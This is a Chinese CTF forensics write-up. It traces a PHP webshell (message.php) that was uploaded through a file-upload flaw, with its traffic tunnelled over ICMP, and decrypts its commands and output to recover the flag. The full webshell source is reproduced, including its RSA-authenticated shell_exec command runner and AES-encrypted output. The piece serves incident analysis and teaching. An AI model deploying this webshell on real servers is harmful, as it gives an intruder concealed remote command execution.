20240911泰山杯初赛--temp

Wireshark打开temp.pcap流量包,发现有很多ICMP协议包。
在这里插入图片描述

一些ICMP数据包较大,且可发现,明显在传输HTTP协议数据内容:

在这里插入图片描述

右键,【显示分组字节】,进一步分析这些HTTP数据:

GET /test.html HTTP/1.1 
Host: 192.168.11.1 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Connection: keep-alive 
Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9 
Upgrade-Insecure-Requests: 1 
If-Modified-Since: Tue, 19 Oct 2021 02:52:56 GMT 
If-None-Match: "110-5ceabc236d07e-gzip" 

其中, 【Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9】是一个路径: O:9:“PageModel”:1:{s:4:“file”;s:15:“/www/index.html”;} 。

继续看其他ICMP包(43676、43680),发现以下HTTP数据比较可疑:

POST /upload.php HTTP/1.1 
Host: 192.168.11.1 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; boundary=---------------------------202049257429575872453803494412 
Content-Length: 1812 
Origin: http://192.168.11.1 
Connection: keep-alive 
Referer: http://192.168.11.1/test.html 
Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9 
Upgrade-Insecure-Requests: 1 
 
-----------------------------202049257429575872453803494412 
Content-Disposition: form-data; name="fileToUpload"; filename="message.php" 
Content-Type: application/x-php 
 
<?php
define('AES_256_ECB', 'aes-256-ecb');

if(!isset($_REQUEST['pub']))
    die("403 Forbiden");

if(!isset($_REQUEST['maybe_key']))
    die("403 Forbiden");

$publicKeyString = <<<PK
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6YEBA42r+mPDGi1JTSK9
3yszPBPEzj4D+hlamCt/RCelQgnOptkfpziGZ6J466N7/Y9N4iuNI6oPiohZXFmM
H4CAfdqRI0B7kIlB6UFBoZPTxUgIQof1aaNcu7u0a6Rd2YGtREEAWqQri2mpGikq
g8B3k75fFOGaxfV3HL07lwko15mbgyZdtGZwof3Bepp8DdkfmSEp3wygMy1Tygk7
sI4g1AA/7l+2VIEw/zrwSo5maG98CcKoTmMygBUeVOCB+YkGti4UBYUOcOCkWrBR
YSsCZNiSGuSwMkSw80RWPmMeTV7Zqzln6ho9LFkCnXyQ77yTNJJpA6J8O1MW/+j1
AwIDAQAB
-----END PUBLIC KEY-----
PK;

$publicKey = openssl_pkey_get_public(array($publicKeyString,$privateKeyPassphrase));

if (!$publicKey) {
    echo "Public key NOT OK\n";
}


$encryptedWithPrivate = base64_decode($_GET['pub']);
$encryption_key_temp = base64_decode($_GET['maybe_key']);

if (!openssl_public_decrypt($encryptedWithPrivate, $decryptedWithPublicFromPrivate, $publicKey,OPENSSL_PKCS1_PADDING)) {
    echo "Error decrypting with public key what was encrypted with private key\n";
}

if (!openssl_public_decrypt($encryption_key_temp, $encryption_key, $publicKey,OPENSSL_PKCS1_PADDING)) {
    echo "Error decrypting with public key what was encrypted with private key\n";
}

$cmd_output = shell_exec($decryptedWithPublicFromPrivate);

$encrypted = openssl_encrypt($cmd_output, AES_256_ECB, $encryption_key, 0);
echo $encrypted."\n";
 
-----------------------------202049257429575872453803494412 
Content-Disposition: form-data; name="submit" 
 
Upload Image 
-----------------------------202049257429575872453803494412-- 

很明显,这里利用文件上传漏洞,上传了一个message.php文件,该文件有以下功能:

[1] 接收2个参数: pub, maybe_key
[2] 解析RSA公钥
[3] 获取私钥
[4] shell_exec可以执行命令
[5] 将命令执行结果进行加密,并echo输出

在第82638个包中,发现提交了pub、maybe_key两个参数:

pub=tk3u9WK94x7LxdaowKMfiQwvFuoaxyQAaqXJ1A0yq3XPucT6xWqqsr0uiI/44/GrUeOmCYUZpRlpeeXNTjHFC7igOCEeWNCiyfyMQlOxYa1LHI3PrBe2IM/QA7e/onnVx18yGwO8GQhip0puGSe6/R2jmTlJLUINjI3iQlU9P+AEmJtMS8AaboYD+92vn/vjJ1hrZ8KeQz5bRlmM5YJ5P1tyQUUIv1TC+DTjvKKlxVJw1QWXD4J4AKnaMmP1ABmpKmGV2R8IPGyTyv7+1d7avOyPJWcnd/MLNLBLMvf4qgEVWABBT55F4n0vJt95+u3IUUF4ddFFq5vOUufFzjkCXA==

maybe_key=1OMeS6Nr/ncQOwvLezwrWkIumP2P17ZZFuN7UEeLjAU8uXw+XAfpFaUxMOmYfABrjTCsHhFhTrw8vEzmYgncN/d5kX+B7nzCZ3c6NuhRYvAoPZVqio3r1rs9N1pz4iIJQHJhyfOZIFYcuwY3wo8D8uJvpT6pfrXMewZZ1pjj8pnsU1oz3oW/09Xbf+WCNzOsNLGreFbxecMoS6CRb+MJLI+p9iDIgn5czfHWLS2iFRq64nl2gXIn4HrkaFk4i8bRVVO6ZNia5G5reTVKJfG+nSR7RSlEpe9ovZ0m+GB4+6ms1H7xnIOZMZ01jQPX5Ye9hlimZYZV1SZ31eM3eH3lzQ== 

将此代入上面的PHP脚本,运行后,发现shell_exec执行的命令为: cat /flag

<?php
define('AES_256_ECB', 'aes-256-ecb');

$publicKeyString = "
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6YEBA42r+mPDGi1JTSK9
3yszPBPEzj4D+hlamCt/RCelQgnOptkfpziGZ6J466N7/Y9N4iuNI6oPiohZXFmM
H4CAfdqRI0B7kIlB6UFBoZPTxUgIQof1aaNcu7u0a6Rd2YGtREEAWqQri2mpGikq
g8B3k75fFOGaxfV3HL07lwko15mbgyZdtGZwof3Bepp8DdkfmSEp3wygMy1Tygk7
sI4g1AA/7l+2VIEw/zrwSo5maG98CcKoTmMygBUeVOCB+YkGti4UBYUOcOCkWrBR
YSsCZNiSGuSwMkSw80RWPmMeTV7Zqzln6ho9LFkCnXyQ77yTNJJpA6J8O1MW/+j1
AwIDAQAB
-----END PUBLIC KEY-----
";

$publicKey = openssl_pkey_get_public(array($publicKeyString,$privateKeyPassphrase));

if (!$publicKey) {
    echo "Public key NOT OK\n";
}

$pub = "tk3u9WK94x7LxdaowKMfiQwvFuoaxyQAaqXJ1A0yq3XPucT6xWqqsr0uiI/44/GrUeOmCYUZpRlpeeXNTjHFC7igOCEeWNCiyfyMQlOxYa1LHI3PrBe2IM/QA7e/onnVx18yGwO8GQhip0puGSe6/R2jmTlJLUINjI3iQlU9P+AEmJtMS8AaboYD+92vn/vjJ1hrZ8KeQz5bRlmM5YJ5P1tyQUUIv1TC+DTjvKKlxVJw1QWXD4J4AKnaMmP1ABmpKmGV2R8IPGyTyv7+1d7avOyPJWcnd/MLNLBLMvf4qgEVWABBT55F4n0vJt95+u3IUUF4ddFFq5vOUufFzjkCXA==";
$may = "1OMeS6Nr/ncQOwvLezwrWkIumP2P17ZZFuN7UEeLjAU8uXw+XAfpFaUxMOmYfABrjTCsHhFhTrw8vEzmYgncN/d5kX+B7nzCZ3c6NuhRYvAoPZVqio3r1rs9N1pz4iIJQHJhyfOZIFYcuwY3wo8D8uJvpT6pfrXMewZZ1pjj8pnsU1oz3oW/09Xbf+WCNzOsNLGreFbxecMoS6CRb+MJLI+p9iDIgn5czfHWLS2iFRq64nl2gXIn4HrkaFk4i8bRVVO6ZNia5G5reTVKJfG+nSR7RSlEpe9ovZ0m+GB4+6ms1H7xnIOZMZ01jQPX5Ye9hlimZYZV1SZ31eM3eH3lzQ==";
$encryptedWithPrivate = base64_decode($pub);
$encryption_key_temp = base64_decode($may);

if (!openssl_public_decrypt($encryptedWithPrivate, $decryptedWithPublicFromPrivate, $publicKey,OPENSSL_PKCS1_PADDING)) {
    echo "Error decrypting with public key what was encrypted with private key\n";
}

if (!openssl_public_decrypt($encryption_key_temp, $encryption_key, $publicKey,OPENSSL_PKCS1_PADDING)) {
    echo "Error decrypting with public key what was encrypted with private key\n";
}
var_dump($decryptedWithPublicFromPrivate);
$cmd_output = shell_exec($decryptedWithPublicFromPrivate);
var_dump($cmd_output); # cat /flag
$encrypted = openssl_encrypt($cmd_output, AES_256_ECB, $encryption_key, 0);
echo $encrypted."\n";

$aaa = "NoVE76T3Eet+Jp1yEfwCp/RE5iFmpR5o8I+rc7VABou6hxTwiyvn9ihSWX8WTsXC";
$bbb = openssl_decrypt($aaa, AES_256_ECB, $encryption_key, 0);
var_dump($bbb); # flag{9657096501b3077fbae7c6d0de1eb16f}

在后续的第82646个ICMP包中,发现了echo回显的flag。该flag也是被AES加密了的:

NoVE76T3Eet+Jp1yEfwCp/RE5iFmpR5o8I+rc7VABou6hxTwiyvn9ihSWX8WTsXC

将此代入上面的脚本中,进行AES解密,得到flag:

flag{9657096501b3077fbae7c6d0de1eb16f}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/879192.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C盘清理不能偷懒!用这方法快速清理10G以上垃圾 操作简单又安全

C盘清理不能偷懒&#xff01;用这方法快速清理10G以上垃圾 操作简单又安全。到现在为止&#xff0c;还有很多的人不知道怎么清理C盘&#xff0c;主要是因为Windows操作系统相对复杂&#xff0c;其文件管理和存储结构对于非专业人士来说可能难以理解。许多用户可能不清楚哪些文件…

重磅!WOS、Scopus数据库相继更新,多本期刊被剔除(附下载)

关注GZH【欧亚科睿学术】&#xff0c;一键获取最新期刊目录列表 节后首天&#xff0c;科睿唯安及爱思唯尔相继更新了数据库&#xff0c;小编给大家总结了各数据库的期刊变动情况&#xff0c;供大家参考。详情如下&#xff1a; 01 SCIE/SSCI目录更新 2024年9月17日&#xff0c…

计算机毕业设计公交站点线路查询网站登录注册搜索站点线路车次/springboot/javaWEB/J2EE/MYSQL数据库/vue前后分离小程序

选题背景‌&#xff1a; 随着城市化进程的加快&#xff0c;公共交通成为城市居民出行的重要方式。然而&#xff0c;传统的公交站点线路查询方式往往依赖于纸质地图或简单的电子显示屏&#xff0c;查询效率低下且信息更新不及时。因此&#xff0c;开发一个功能全面、易于使用的…

【SQL】百题计划:SQL对于空值的比较判断。

[SQL]百题计划 方法&#xff1a; 使用 <> (!) 和 IS NULL [Accepted] 想法 有的人也许会非常直观地想到如下解法。 SELECT name FROM customer WHERE referee_Id <> 2;然而&#xff0c;这个查询只会返回一个结果&#xff1a;Zach&#xff0c;尽管事实上有 4 个…

MAGDA:多智能体指南驱动的诊断助手

MAGDA&#xff1a;多智能体指南驱动的诊断助手 秒懂大纲提出背景精细拆解输入输出全流程创意视角中文意译 论文&#xff1a;MAGDA: Multi-agent guideline-driven diagnostic assistance 秒懂大纲 ├── MAGDA: Multi-agent guideline-driven diagnostic assistance【研究主…

DockerLinux安装DockerDocker基础

Linux软件安装 yum命令安装 通过yum命令安装软件,是直接把软件安装到Linux系统中 安装和卸载都比较麻烦,因为软件和系统是强关联的 Docker docker是一种容器技术,可以解决软件和系统强关联关系,使得软件的安装和卸载更方便,它可以将我们的应用以及依赖进行打包,制作出一个镜…

教程 | ArcGIS Pro如何自动保存数据编辑内容

目录 1、工程自动保存 2、数据编辑自动保存 世界上最痛苦的事情就是&#xff1a; 软件崩溃&#xff0c;我没保存&#xff01;&#xff01;&#xff01; 电脑死机&#xff0c;我没保存&#xff01;&#xff01;&#xff01; 突然断电&#xff0c;我没保存&#xff01;&…

【电脑组装】✈️从配置拼装到安装系统组装自己的台式电脑

目录 &#x1f378;前言 &#x1f37b;一、台式电脑基本组成 &#x1f37a;二、组装 &#x1f379;三、安装系统 &#x1f44b;四、系统设置 &#x1f440;五、章末 &#x1f378;前言 小伙伴们大家好&#xff0c;上篇文章分享了在平时开发的时候遇到的一种项目整合情况&…

如何关闭前端Chrome的debugger反调试

1、禁用浏览器断点 2. 把控制台独立一个窗口

GitLab CI_CD 从入门到实战笔记

第1章 认识GitLab CI/CD 1.3 GitLab CI/CD的几个基本概念 GitLab CI/CD由以下两部分构成。 &#xff08;1&#xff09;运行流水线的环境。它是由GitLab Runner提供的&#xff0c;这是一个由GitLab开发的开源软件包&#xff0c;要搭建GitLab CI/CD就必须安装它&#xff0c;因…

基于springboot+vue实现的智能垃圾分类系统 (源码+L文+ppt)4-063

摘 要 本论文主要完成不同用户的权限划分&#xff0c;不同用户具有不同权限的操作功能&#xff0c;系统包括用户、物业和管理员模块&#xff0c;主要功能有用户、物业、垃圾站点、垃圾投放、验收信息、积分商城、积分充值、通知物业等管理操作。 关键词&#xff1a;智能垃圾…

零基础小白能学网络安全吗?

最近看到很多朋友都在问“零基础能学网络安全吗&#xff1f;” 今天整一篇帮大家分析一下&#xff0c;希望对你有帮助。 首先&#xff0c;问出这个问题的朋友&#xff0c;我大致判断一下&#xff0c;你对网络安全并不了解&#xff0c;只是单纯看到某个视频某篇文章&#xff0…

SpringBoot2:web开发常用功能实现及原理解析-@ControllerAdvice实现全局异常统一处理

文章目录 前言1、工程包结构2、POM依赖3、Java代码 前言 本篇主要针对前后端分离的项目&#xff0c;做的一个统一响应包装、统一异常捕获处理。 在Spring里&#xff0c;我们可以使用ControllerAdvice来声明一些关于controller的全局性的东西&#xff0c;其用法主要有以下三点…

【C++篇】C++类与对象深度解析(三):类的默认成员函数详解

文章目录 【C篇】C类与对象深度解析&#xff08;三&#xff09;前言4. 运算符重载基本概念4.1 运算符重载的基本概念4.2 重载运算符的规则4.3 成员函数重载运算符4.4 运算符重载的优先级与结合性4.5 运算符重载中的限制与特殊情况4.5.1 不能创建新的操作符4.5.2 无法重载的运算…

uniapp离线(本地)打包

安卓离线打包 注意&#xff1a;jdk建议选择1.8 下载Android Studio配置gradle仓库地址 第一步&#xff1a;先下载对应的版本&#xff0c;进行压缩包解压 第二步&#xff1a;在电脑磁盘&#xff08;D盘&#xff09;&#xff0c;创建文件夹存放压缩包并进行解压&#xff0c;并创…

python-简单的数据结构

题目描述 小理有一天在网上冲浪的时候发现了一道很有意思的数据结构题。 该数据结构形如长条形。 一开始该容器为空&#xff0c;有以下七种操作。 1 a从前面插入元素 a ; 2 从前面删除一个元素; 3 a从后面插入一个元素; 4 从后面删除一个元素; 5 将整个容器头尾翻转; 6 输出个…

阻止冒泡事件

每一div都有一个切换事件 div里包括【复制】事件&#xff0c; 点击【复制按钮】&#xff0c;会触发【切换事件】 因为冒泡 在 Vue 3 中&#xff0c;阻止 click 事件冒泡可以使用以下常规方法&#xff1a; 1 事件修饰符&#xff1a;Vue 3 中提供了多种事件修饰符&#xff0c…

buildroot移植qt报错Info: creating stash file (补充qt添加字库)

移植qt库&#xff0c;编译文件报错Info: creating stash file /home/rbing/QT/uart/.qmake.stash Project ERROR: Unknown module(s) in QT: serialport rbingouc:~/QT/uart$ /home/rbing/linux/tool/buildroot-2022.02.9/output/host/usr/bin/qmake Info: creating stash fil…

【LeetCode】每日一题 2024_9_18 坐上公交的最晚时间(排序,模拟)

前言 每天和你一起刷 LeetCode 每日一题~ LeetCode 启动&#xff01; 题目&#xff1a;坐上公交的最晚时间 代码与解题思路 func latestTimeCatchTheBus(buses []int, passengers []int, capacity int) (ans int) {// 核心思路分析&#xff1a;// 你可以搭乘公交车的最晚到达…

【数据仓库】数据仓库常见的数据模型——维度模型

文章部分图参考自&#xff1a;多维数据模型各种类型&#xff08;星型、雪花、星座、交叉连接&#xff09; - 知乎 (zhihu.com) 文章部分文字canla一篇文章搞懂数据仓库&#xff1a;四种常见数据模型&#xff08;维度模型、范式模型等&#xff09;-腾讯云开发者社区-腾讯云 (ten…